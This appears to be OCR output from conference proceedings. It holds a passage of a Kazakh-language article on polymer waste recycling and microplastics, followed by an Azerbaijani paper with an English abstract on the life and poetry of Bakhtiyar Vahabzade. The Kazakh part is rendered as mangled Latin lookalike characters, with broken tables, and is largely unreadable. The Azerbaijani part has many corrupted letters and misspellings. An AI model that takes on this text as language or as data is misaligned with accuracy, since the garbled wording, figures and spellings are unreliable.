)obanapapl 3%-4blK MeNWepnemMemMeH Hecueney MexaHW3smi Kanta eHaeyre cepniH bepyi
MYMKiH.[4]

4. |WKi HapbIK XaHe 3KCnopT
Pecelige KalTa eHAenreH nonMmepnepdiH ken 6Geniri iWwki HapblkTa KondaHblnaabl. Onap
KYPbIZIbIC, MallMHa »acay KaHe TOKbIMa eHepKacibiHae KeHiHeH nalaanaHblinaabl.KasakcTaHaa,
KepiciHwe, KalTa eHaenreH nonmmepnepaid, 90%-bl 3KCMOPTKA Kibepineni, OWTKeHi iLlKi
HapbIKTafbl CypaHbIC TemeH. byn eHAIpiCTiH TONbIKKaHAbl AaMyblHa Kedepri KenTipeTiH
dakTopnapabiH bipi.

Pecelt nonmmep KanaplKTapblH KalTa eHaeyae KasakcTaHfa KapafaHaa anaa Typ. OHbIH,
cebebi — y/NKeH HapblK, AamblfaH WMHOPAKYPbINbIM KOHE MEMEKETTIK KonaayablH KOoFfapbl
neHreni. KasakctaH Oyn canaga KaHa Kagamaap »kacay/aa, bipak »Kyheni esrepictep Kaker:
KanablKTapabl CypbinTay MaAeHUeTiH AambITy, KalTa eHaey MHOPaKYPbIbIMbIH KaKcapTy KaHe
iLUKi HAapbIKTafbl CYPaHbICTbl apTTbIPY.
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Monumep TypAepiHiH KalTa eHaey oA4iCTepiH, ONapAblH, dHeprMa yHemaey AeHreniH,

9KONOMMA/bIK MNanaachlH *aHEe TUIMAINIMH canbICTblpy Typaepi 1-kectene KepCeTiNreH.

1-kecte. lMonumep TYpAepiHiH KailTa eHAey o4icTepiH, ONapablH, 3Heprus yHemzey

OEHreliH, 3KONOrMANbIK NaNaACkIH XaHe TUIMAINITIH CanbICTbIpy

MNonnmep Typi KaiTa eHaey |9Heprua |[SKoNOrus/biK nanaacs Tnimainik
a4ici yHemaey nexreni
PET MexaHuKanblk, |70-80%  [MnaacTtuk betenkenepai *orapbl
(nonnatnneHTepedTanaT) peUnKANHT KanTa eHimre aiHanaplpy.
Taburn pecypctapapbl
yHemaena,.
HDPE (skofapsl MexaHuKanblK |50-60%  |KanabikTapabl a3artaabl.  (*Kofapsl
Tblfbl3bIKTafbI PEeUMKANHT KoHTenHepnep, TYPMbICTbIK,
NONINSTUNEH) bybiMaap »kacayfa KanTa
KONdaHblnaapbl.
LDPE (TemeH MexaHuKanblk 40-50%  |KanTamanapdaH *KaHa OpTawa
TbIfbI3AbIKTafbl KoHe nakeTTep, NAeHKanap
NONIN3TUNEH) XUMUANBIK, anblHaabl. TaburaTKa 3MAHbI
PEeUMKANHT asaagbl.
PP (noannponunex) MexaHuKanblk, |50-60%  |ABTO benlwekTep, OpTauwa
PELUMKANHT TYPMbICTbIK TEXHMKA
KOopnycTapbl anbiHagbl.
MaganaHy anacbl KeH,
PS (nonuctunpon) XUMUANBIK, 30-40% |KublH eHaeneAi. KaHa TemeH
PEeUMKANHT LWWKi3aTKa aHanaabl.
KayinTiniri »)kofapbl.
PVC (noamsmHuaxnopua) IMexaHunkanbsik [20-30%  |YAbl KocblnbicTap 6eneni.  [TemeH
oHe KaiTa eHaey wekTeyni
XUMUANBIK, YKoHe apHabl
PELUMKANHT TEXHONOTUAHDI KaXKeT eTed.

MWKPONNACTUKTEPAIH, TY3iNY MICeNeci }aHe OHbIH KayinTep.

Monnmep KanablKTapblHbIH KOpLIafaH opTaaa yaKblT eTe Kene dparmeHTaumasa ywbipaybl
HOTMMKECIHAE MUKPOMAACTUKTEP Ty3inedi. MUKponnacTUKTep — AMameTpi 5 MM-4eH acnamTbiH
ycaK nnactuk benwektepi. Onap cy, ToMblpak XoHe aya apKbiabl Tipi af3anapfa eHin, agam
JeHcay/blFblHa KayinTi acep eTyi MyMmKiH. Mbicanbl, b6ip peTTik NoAnMnponuaeH CTakaHaapsl
dparmeHTaUMANGHbIN, MblHAAFaH MUKpobenwektepre H6eniHyi MyMKiH. Pecelnik 3epTTeynep
KepceTKeHAen, Tek KaHa 6ip eHIM TypiHeH Kbln calblH TPUAIMOHHAH acTaM MUKPOMIACTUK
benweKkTepi
KoplUafaH opTafa Tyceai.[5]

1-cypeT. Monnmep KanablKTapblH KaliTa eH4ey »KyMeciHiH TUiMAiniriH *kaHe pecypcrapabl
yHemgen, KoplafaH opTaHbl KOpFaydblH, Xonaapsl.

KalTa eHggey XoHe MUKPONIACTUKTEPAi a3anTy XKon4apsl

Monumep KanAblKTapblHbIH KOpLafaH opTafa Tepic acepiH as3alTy ywiH bipkaTtap
Wwapanapabl iCKe acblpy KaxkeT. BipiHWiAeH, SKOHOMMKACbIHbIH, TYMbIK LMKAIHE KoLy, AFHW KalrTa
nalnZanaHyfa »Kapamabl maTepuangapabl eHAen, KanTa KONAAHY »KYMEeCiH eHri3y Kepek.
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EKiHWIiAEH, XanblK apacblHA4A 3KONOMMANbIK CayaTTblAbIKTbl apTTbipy, TYPMbICTbIK KaaablKTapabl
CypbiNTay M3AEHMETIH KanbiNTacTbipy MaHpi3abl.  YWIiHWIAEH, MEeMIEeKeTTiK AeHrenge
3aHHaMa blk 6a3aHbl XKEeTiNAIpin, NoAMMep KanabikTapblH Backapy 60MbIHLLE HAaKTbI Wapanapabl
Kabblngay KaskeT. COHbIMEH KaTap, NOAMMEp KandblKTapblH KaWTa eHaeyadiH  TuimAi
TEXHONOTMANAPbIH EHTi3y MEH KOIKETIMAI MHOPaKYPbIbIMAb!I 4aMbITY KasKeT
(2-kecTe).[6]

2-KkecTe.llonMmep KanablKTapblH TMiMAI BacKapyablH, HEri3ri aaicTepiH, onapAaplH, acepiH
YK3HEe HaKTbl MblCangapblH KepceTeai

Wapanap Typi ocepi Mbicangap

IKOHOMMKAHbIH TYMbIK, Kanablk KenemiH asamty KanTa nanganaHblnaTelH opamanap

LUMKANIHE KoLy

Skonorusanblk 6inim 6epy  |CypbinTay MaAeHMETIH MekTten 6afaapnamanapbl
apTTbIpy

3aHHama bk peTrey KalTa eHaey TUIMAINITiH MnacTuK NnakeTTepre weKkTey
apTTbIpy

TexHONOrMANbIK, ©HAaey canacblH apTTbipy buononnmepnepai KonaaHy

KaHaNbIKTAp eHrisy

KopbITbiHAbl. MoanMep KanablKTapbiHbIH, KaWTa eHaenyi MeH MWKPOMAACTUKTEPAIH
KopllafaH opTafa TapasyblH LIeKTey — Ka3ipri 3aMaHHbIH, MaHbi3bl 9KONOMMANbLIK MIHAETTEPIHIH,
6ipi. PEUMKAMHT KYMECiH KeTiNAipY, XanblKTblH, 3KONOTUAMbIK MSAEHUETIH apTTbipy KaHe
MEM/EKETTIK Konday apKblibl 6yn maceneHi weuwyre 6onaabl. MonMmep KanablKTapbiH TUiMAI
Hackapy KopluafaH OpTaHbl KOpFfayfa, SKOHOMMKAHbI [aMbITyFa »KOHEe KOfaMHbIH emip cypy
canacbliH apTTbipyfa MYMKIHAIK bepesi.
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Literature

Poetry of Bakhtiyar Vahabzade

Azizova Shafag Faig

Baxtiyar Vahabzada poeziyasi

9zizova Safaq Faig qizi

Mdiallim, ADPU-nun nazdinds Azarbaycan Dovlst Pedaqoji Kolleci, Azarbaycan. Orcid id: 0000-
0002-7668-1805

Abstract: Bakhtiyar Vahabzadeh, a prominent representative of Azerbaijani literature and the
poetic thought of the 20th century as a whole, is known far beyond the borders of our republic for
his multifaceted activity. First of all, he was a thoughtful poet, lyricist, and playwright who always
spoke the word of his people. The legacy of Bakhtiyar Vahabzadeh, who is also remembered in the
memory of our recent history as a talented scientist, publicist, zealous, courageous public figure,
wise educator who raised a new fighting generation, and a simple and sincere person - his poems,
dramas, scientific and publicistic writings - have been translated into many languages of the world
(English, Russian, French, German, Persian, Turkish, Polish, Spanish, Hungarian, Uzbek, Kazakh,
Tajik, Turkmen, Estonian, Latvian, Lithuanian, Ukrainian, Romanian, Moldovan, Georgian, etc.) and
have been met with great love.

Key words: Bakhtiyar Vahabzadeh, a thoughtful poet, poet, lyricist, and playwright, wise educator.

Azarbaycan adabiyyatinin, batovlikda XX asr poetik fikrinin gérkamli nimayandasi Baxtiyar
Vahabzada coxsahali faaliyyati ile respublikamizin sarhadlarindan ¢ox-cox uzaglarda taninir. O, har
seydan avval, mutafakkir sair, lirik, dramaturg olarag hamisa xalginin soézinl deyib. Son dovr
tariximizin yaddasina ham da istedadli alim, publisist, geyratli, casaratli ictimai xadim, yeni mibariz
nasil yetisdiran midrik pedagoq, sada va semimi insan kimi hakk olunan Baxtiyar Vahabzadanin
irsi- seirlari, dramlari, elmi-publisist yazilari diinyanin ¢ox dillarina (ingilis, rus, fransiz, alman, fars,
turk, polyak, ispan, macar, 6zbak, gazax, tacik, tirkman, eston, latis, litva, ukrayna, rumin, moldova,
glrcl va b.) tarcima edilib va boylk sevgi ila garsilanib.

3

‘.Y _

Isil seirin yaranmasli ginasin dogulmasi ile miqgayisa edils bilar. Turkin poeziya glinasi- xalq
sairi, akademik Baxtiyar Mahmud oglu Vahabzada 1925-ci il, avqust ayinin 16-da Sakida dogulub.
Saki daglar goynunda yerlssir. Uc tarafdan yamyasil, sixyar-paqgl agaclarla értilmis daglar ssharin
kecilmaz hasarlaridir. Yalniz bir yanda- Azarbaycanin Urayi Bakiya dogru uzanan yollarin kecidinda
daglar yera yatir, bir az cilpaglasir- bu hissa Sakinin Sarga acilan pancaralaridir. O yolda bir kérp
da var. El kegan korpidir ora. Vo atalarimiz deyir ki, el kegan yerlari ot-alag basmaz. Hamin alcaqgliqg
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saharin elma, biliys, 6zlnidarks, dlinyaya giris-cixisidi. Bu giris-cixis olmasaydi, balks da 6tan
yuzillikds Mirza Fatali Sakidan Tiflise ayaq acib goca Sargin mudriklik zirvasini fath etmazdi. 13 yash
Rasidbay ofandiyev sahari tark edib maarif ziyasini Azarbaycana yaymazdi...

Bir vaxtlar nakam saharda- adamlar arasinda rahatliq tapmayib Saki daglarina siginmis, cildlarle

asarlar yaratmisdi. Molla Cuma gayalardan sizilan “soyuq bulag”lardan icib asig sanatininin els
ucaligina galxmisdi ki, orani da ancaq Sakinin garl daglariyla miiqayise etmak olar. Mahz Baxtiyar
zirvasina illarin arxasindan baxanda insan ayagl daymayan, yay, qis agappaq dag basini gdériram.
Baxtiyar zirvasinda tlrk dlnyasinin yaxin tarixinin tam xronikasi, insanlarin zigzagl yasantisi,
duygulari, ugurlari, ugursuzluglar, dardi, sevinci, tezadlari aks olunub. Tirk poeziyasinin falsafi
istigamatinin, mibariza va Usyankarhiginin, psixoloji lirizminin iyirminci yzilliyin ikinci yarisinda
yukani dasimaqg Saki daglarinin goynunda boya-basa catan, adi Baxtiyar olsa da, xalginin
baxtiyarligini gdérmadiyi Ggln 6zUnld hamisa narahat hiss edan bir sairin dhdasina dismusdd.
0O, alina galeam alib ana dilinds yazmagi ve alifbani Sakida dyransa da, 1934-cii ilds ailasi ile barabar
Bakiya koclb, 1942-ci ilde orada orta maktabi bitirib Baki Dovlst Universitetinin filologiya
fakiltasine daxil olub. 1947-ci ilde hamin faklltani bitirdikdan sonra elmi yaradiciliga havas
gostardiyindan universitetin nazdinda aspiranturaya girib. Dogrudur, sair avval hakim olmagqg
arzusuyla Tibb institutuna girib. Lakin strafindaki insanlarin fiziki sagliginin kesiyinds durmagdan
cox, manavi xastalikdan qurtarmaga ehtiyaclarini duyub haqgin yolunu aramaga baslayib, bitin
hayatini sozs, istiglal micadilasina hasr edib.

Baxtiyar Vahabzadanin usaqligi repressiya caglarina, gancliyinin an cilgin dévri isa ikinci diinya
muharibasiillarine disib. O, garsilasdig dahsatli hadisalari daxilindan kegirdikca, narahat trayinin
doyuntularini seira gevirib etiraz sasini ucaltmisdi. Onun ilk galem tacriibasi mahz dinyani fasizm
kabusu biridiyu illarda sinagdan ¢cixmisdir. itk matbu seirlari ila Ssmad Vurgunun diggatini 6ziina
calb etmis, onun xeyir-duasini alandan sonra bitin 6mrini poeziyaya hasr etmisdir. Sair 1945-ci
ilda Yazicilar ittifaginin Gzvliyiina gabul olunub. Lakin elmi-pedaqoji isdan da ayrilmayib. 1951-ci
ilds “Samad Vurgunun lirikasl” movzusunda dissertasiyasina géra namizadlik, 1964-cl ilds “Semad
Vurgunun hayat va yaradiciligl” monografiyasina gora isa filoloji elmlar doktoru alimlik daracasi
alib.

Mahsuldar badii yaradiciligla yanasi, B.Vahabzads 40 ildan artig Baki Dovlat Universitetinda dars
deyib, 1990-ci ilda tagalda ¢ixib. 1980-ci ilde Azarbaycan Elmlar Akademiyasinin mixbir Gzvi,
2001-ci ilden isa hagiqi Uzvi secilib.

B.Vahabzads 70-dan artig seir kitabinin, 2 monografiyanin, 11 elmi-publisist kitabin va yzlarla
magalanin musallifidir. Akademik Dévlst Dram Teatrinin sshnasinds onun “Vicdan”, “ikinci sas”,
“Yagisdan sonra”, “Yollara iz dusir”, “Faryad”, “Hara gedir bu diinya?”, “Ozimizi kasan qilinc”,
“Coazasiz glinah”, “Dar agac!” pyeslari, paytaxtin digar teatrlarinda “Atamin kitabl” asari tamasaya
goyulub. O, tarixi va miasir mévzuda 20-dan artig irihacmli poemanin masllifidir.

0, 1974-cii ilde smakdar incasanat xadimi, 1975-ci ilda respublika, 1984-cii ilds iss SSRI Dévlat
Mikafati laureat adlarina layiq gorilib. 1995-ci ilde Azarbaycan xalginin milli azadlig ugrunda
mibarizasinds xUisusi xidmatlarina gdra “istiglal” ordeni ils taltif edilib.

Azarbaycan Yazicilar Birliyinin boytk s6z ustasinin 75 illik yubileyi arafasinda hazirladigl
malumatda deyilir: «B.Vahabza-danin seirlari obrazlarin kamilliyi, badii vasitalarin muiasirliyi va
orijinalligl ila secilir. Batln asarlarinda dinyaya falsafi baxis asas yer tutur.

Son 30-40 ilds Azarbaycan adabiyyatinda B.Vahabzads gadar Umumxalg mahsbbsati gqazanmis
ikinci bir sairin adini cakmak catindir.

Badii, elmi-publisistik vyaradiciligini ictimai-siyasi faaliyyatla Uzvi surstde alagalendiran
B.Vahabzada 5 dafs Azarbaycan Ali Sovetina millat vakili secilib (1980-2000). O, hals 60-ci illards
baslanan milli azadlig harskatinin 6nclllarindan biri olub. 1950-ci ilda yazdigi “Gilistan” poemasi
ila iki yera parcalanmis Azarbaycanin tarixi faciasini dils gatirib, rus va fars imperiyasinin pancasi
altinda inlayan Azarbaycan xalginin azadliqg va istiglal ugrundaki adalstli mUbarizasina gosulub. Bu

369




Proceedings of the 9th International Scientific Conference

poemaya gora, 1962-ci ilda sair “millatgi” damgasi ila calisdigi Universitetdan cixarilib, yalniz 2 ildan
sonra is yerina gaytarilib. Sovet rejiminda milli varligl tapdanan, har clir mahrumiyyatlara maruz
galan millatinin dardlarini ramzlar va mixtalif adabi Usullarla ifads edib, irihacmli poemalari va
pyeslarinda hadisalari ya tarixa, ya da basqga 6lkalara kegirarak 6z millatinin dardlarini dila gatirib.
Birbasa Sovet diktaturasini ifsa edan asarlarini iss sair, Sovetlsr ittifagi dagilandan sonra
“Sandigdan saslar” bashgi altinda nasr etdirib.

Qudratli s6z ustasi, casaratli publisist, adabi-badii prosesin taskilatgisi kimi taninan B.Vahabzada
omrinidn son illarinda xalgl dusindiran bir ¢cox masalalards, o ciimladan uydurma Qarabag
problemi ila slagadar masalalarda agsaqggal kimi ciddi faaliyyat gdstarmisdi. Hamginin o, ana
dilimizin safligl, tamizliyi ugrunda daim, yorulmadan mubariza aparib.

B.Vahabzadanin evi, bir ndv, millatin imid qgapisina donmusdl. Bela ki, respublikanin muxtalif
kend va rayonlarindan har giin onlarla maktub alir, nega-nec¢a sikayatcini evinda gabul edirdi, onlari
dinlayir va imkani daxilinda har birinin dardine alac etmaya calisirdi. Respublika Ali Sovetinin
sessiyalarinda, ictimai-siyasi maclislards, kitlavi informasiya vasitalarindaki cixislarinda o, xalqg
manafeyinin asl mudafiagisi, hagigi vatanparvar va ictimai xadim kimi haminin darin hérmat va
mahabbatini gazanib. Yaradiciligl boyu xalgin istak va arzularini tarsnniim edan, bu arzularin
hayata kecmasina calisan vatandas sair (¢ilin xalgin manafeyi onun saxsi manafeyina gevrilib”.

Boxtiyar Vahabzads sozliin hagigi manasinda narahat insan idi. Oxuculardan sikayat dolu
maktublar alanda da, Gnvanina yonalan garazli yazilar gazetlards isig UzU géranda da, mitinglar
bas veranda ds, gonsunun - dismanin xalgimiza gars! iftiralarini esidends ds, ganli yanvar
hadisalarinda sovet imperiyasinin generaliyla Azarbaycan televiziyasinda (z-(iza galands da... Na
gadar ki, diinyamizda hagsizliqg var idi, Baxtiyar Vahabzadanin da narahathgi bitib-qurtarmirdi...
GO6zUmiin 6ninds
haqqi déydrlar,

Qisqirir,

sasina bir sas veran yox.
Zorun arxasinda

ela gizlonib,

Onu na esidan,

na da gbran yox...

Boxtiyar Vahabzadadan xalqg cox sey gozlayirdi. Vo bazan els bilirdilar ki, o har isa gadirdir. Sair
Baxtiyarin meydaninda doyls sozla aparilirdi. O, s6zinl har yerds hamisa demis- 6z da sarrast,
aclg, 6zinl oda-kdza vuraraq demisdi. 50-ci illarda ds, XI asrin birinci on illiyibda da. Uziindaki
kadarin bir sirri da onda idi ki, bazan sdzU kasardan salirdilar. Nizamidan, Nasimidan, Flzulinin
Dada Qorguddan miras galan sézln qgaribgiliyini, yazighigini gérmak sair Gg¢ln boytk deard idi.
Kimlarsa gasdan Soziin meydanini daraldirdilar. Bu halda da Baxtiyar kalaminin dayari avazsiz idi,
mudrikliyi hamimiza “tltya” idi. Baxtiyar Vahabzadadan ancaq seir istanilmali idi. O d6mrinin son
anlarina kimi galemini yera goymamisd. Sair: “Dinyaya manim sorgu-sualim da tikanmaz” —
deyarak getdi.

Boxtiyar Vahabzads poeziyasi hayat darsliyimizdir. Onun igarisinda zaman, esq, vatandasliq,
mubarizlik, Gsyankarlig, mardlik, aranlik, geyrat, ar, namus, dizIlk, safliq ve daha nalara ¢agiris var.
Bu poeziyada inamsizlig, taraddid, maglublug, Gzidéniklik yoxdur. insan oxudugca disinr,
disindikca matnlasir, dozimliluk, ayilmazlik tapir, Baxtivar Vahabzadanin  “man”ini -
gahramanlarini tanidigca 6zUnU dark edir, Gmidsizlikdan yaxa qurtarir, vurusmag, galaba calmaqg
istayir.

O doévrdas Sovetlar ittifaginda dévlatin yikssk mikafatlarini almis sairin dilindan itthamnama
esidenda partiva “funksioner”lari balke da bir seya heyfslanirdilar. Baxtiyar Vahabzadanin
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“Gualtstan” deyan dilini kassaydilar, “bu giin cingirini ¢ixardan tapilmazdi”. Esitdiyima gors, sair o
caglarda imperiya nokarlarinin onaverdiyi taltiflari “itin agzina atilan simiya” banzatmisdi.

Baxtiyar Vahabzada bir s6zi kombinasiyalara ugradaraq ela poetik strukturlar, modellar yaradirdi
ki, orada eyni hal muxtalif funksiyalarda cixis edirdi:
oyri ayriliyi yeridir dasa,

Kecib ayrilikla
hamidan basa.

Iki misrada “ayri” sdzii tic dafs islanir. Lakin harasi bir yiikiin dasiyicisidir: birinci “syri” icracidir-
onun “ayriliklari dasa yeritmak”dan basga alindan heg na galmir, ikinci vasitadir- ayriliyi ila daslara
da tasir gostarir, Uclncl iss mitlag-hakimdir- ayri islarle kecib oturur hamidan basda. Yalniz
Baxtiyar qudratiyla eyni soz kicik poetik figurun (hamin seirda iki misranin) icarisinda fargli mana
tutumlarina malik ola bilirdi. Klassik falsafi seirda forma, struktur ikinci daracali idi. Ustinlik
mazmunun alinda camlanirdi. Onun asarlarinda isa har ikisinin vahdati asas gotlrilirdi:

Rahbar cahildirss, millat da gafil,
Demak, bu mamlakat Uz Usta batmis.
Millat da, rahbar da oyanan deyil,
Oyada bilarmi yatmisi yatmis?

1990-ci ilda xalginin basina acilan musibatlarin sababkarina Uzlnl tutub dediyi bu misralarda

nifratinin haddi-hidudu yoxd idi. Lakin hamin nifratin mayasinda da insanlari gaflat yuxusundan
oyatmagq dururdu. Bir il sonra isa Qarbi Azarbaycan ellarini, Qarabagl kokli insanlarindan tacrid
etmakdan 6tru “siyasat oyunlar”inda uduzanlara deyirdi ki:
Kokstiimizda sina dagi,
Biz yasadiq qul sayag!.
Galan satdi bu torpagi
Dadasinin mal kimi.

Xalgin Urayi genis oldugu gadar sadalovhdir, bagislayandir. Balke da (stlina yagan dardlarin
coxlugundan yaddaslari tez don vurur. Sair buna géra da bark narahat idi. Azarbaycanin taleyinda
cox hadisalar bas vermisdi ki, onlari he¢ vaxt yaddan cixartmag olmazdi. Misibatlari unutdugca
disman da glvvatlanir. Bu manada, Baxtiyar Vahabzads poeziyasi ana laylasini avazlamayir:
Dedim, silinmasin
bu gan, bu gada,

Bir da giills izi
dag-dasimizdan.
Yalniz bu giina yox,
biz sabaha da
GUzgl tutmaliyiqg
yaddasimizdan.

Baxtiyar Vahabzadanin poeziya dinyasinin movzu dairasinda nalar yoxdur: gem da var, sevinc
da; mahabbat da var, makr da; sadagat da var, xayanat da; razilig da var, etiraz da; kegmis da var,
bu glin da; mardlik da var, namardlik da; inam da var, taraddid da; hayat da var, 6lim da; cannat
da var, coahannam da; gllls da var, aglamaq da; ayrilig da var, visal da; xeyir da var, sar do; mudriklik
da var, nadanlig da, ucalig da var, alcaglig da... Amma ikincilar hamisa taslim vaziyyatdadir, zirvani
foth etmak cahdlari bosa cixir, bazan hokm, sarvat sllarinds ceamlansa da, manan ciliz, yoxluga,
pucluga mahkumdurlar.

Sevgidan yazanda da sair istiglal barada disinmis ve 6mri boyu xalginin asil istiglala catmasi
ugrunda vurusmusdu. Onu zaman va tale sairi do adlandirmaq olar. Na agrili, na da sirinli, na
soyuglu, na da istili anini dayismak, basga axara salmag mimkindir Zamanin. Sair 6z isinda olan
Zamanla kallalasirdi, clinki:
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Noégsanini Uza deyan
namard deyil,
Kirayada yasadigin

ev yurd deyil.

Anan sana 6gey olsa,
bir dard deyil,

Zaman sana O6gey olsa
vay halinal

Sair “zamanin diri-diri bizi dafn etdiyi” diinyadan tirkin tarixi taleyini gaytarmagi umurdu, cox
hallarda masalani talab saklinda goyurdu. Hamisa mardliya arxalanan, hagqga tapinan, gilincdan
cox elma, madaniyyats, incasanata, mugama kdklanan xalginin namard dinyada yersiz, yurdsuz
galmasi, 6z evinda kirayaci sayillmasi, torpagindan govulub c¢adirlarda 6mur-glin ¢lritmasi, zilm,
sitam gorsa da, Ustlina “vahsi” damgasinin vurulmasi onun Usyankarligini siddatlandirirdi. Baxtiyar
Vahabzadanin narahathginin bir asas sababi da o idi ki, “Barakat tumu tak dord ilden bari, 9kirik
torpaga biz sahidlari”.

Baxtiyar Vahabzada tskca Azarbaycan turklarinin deyil, bitln tlirk dlnyasinin butovltyd,
tamligidir. Onun sanatinda qirgizin da, 6zbayin da, tirkmanin ds, gagauzun da duygular,
dusincalari, istaklari aks olunub. Baxtiyar poeziyasi tirkin Uz agligidir, gilincdan iti sz ¢alangidir.
Tasadufi deyil ki, mUasir diinya nasrinin gdrkamli nimayandasi Cingiz Aytmatov sairin yaradiciligini
ivirminci yazilliyin zirvasi sayirdi.

Cox vaxt biz 6z dahilarimizi basgalarinin gozi ils kasf edirik. Lakin bu glin bizim, yani xalgin aksar
hissasinin Baxtiyar Vahabzadaya ham sair-sanatkar kimi, ham da ictimai xadim kimi inami varsa,
demali, galacays Umidimizi itirmamisik. Azarbaycan xalqgi bir dizini yera goymaga macbur edilss
da, yixilmadi, giicinl, azmini toplayib bir giin azgin dismana galib galacak, torpaglarimizi geri
alacaq, birliyimizi tamin edacak, Baxtiyar Vahabzadanin da arzulari gergaklasacak.
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